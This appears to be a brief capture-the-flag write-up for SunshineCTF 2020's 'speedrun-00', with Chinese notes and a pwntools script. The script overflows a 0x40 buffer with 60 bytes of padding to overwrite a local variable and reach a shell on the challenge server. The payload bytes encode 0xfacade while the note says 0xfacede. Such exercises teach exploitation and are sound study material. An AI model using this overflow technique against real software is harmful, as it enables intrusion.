###### tags: `sunshine`

# speedrun-00

- 

- 利用靜態工具
- Char0x40大小
- var_4h = rbp-0x4的位址要等於0xfacede

from pwn import *

payload  = 'A' * 60
payload += '\xde\xca\xfa'

p = remote('chal.2020.sunshinectf.org', 30000)
#p = process("./chall_00")

p.sendline(payload)
p.interactive()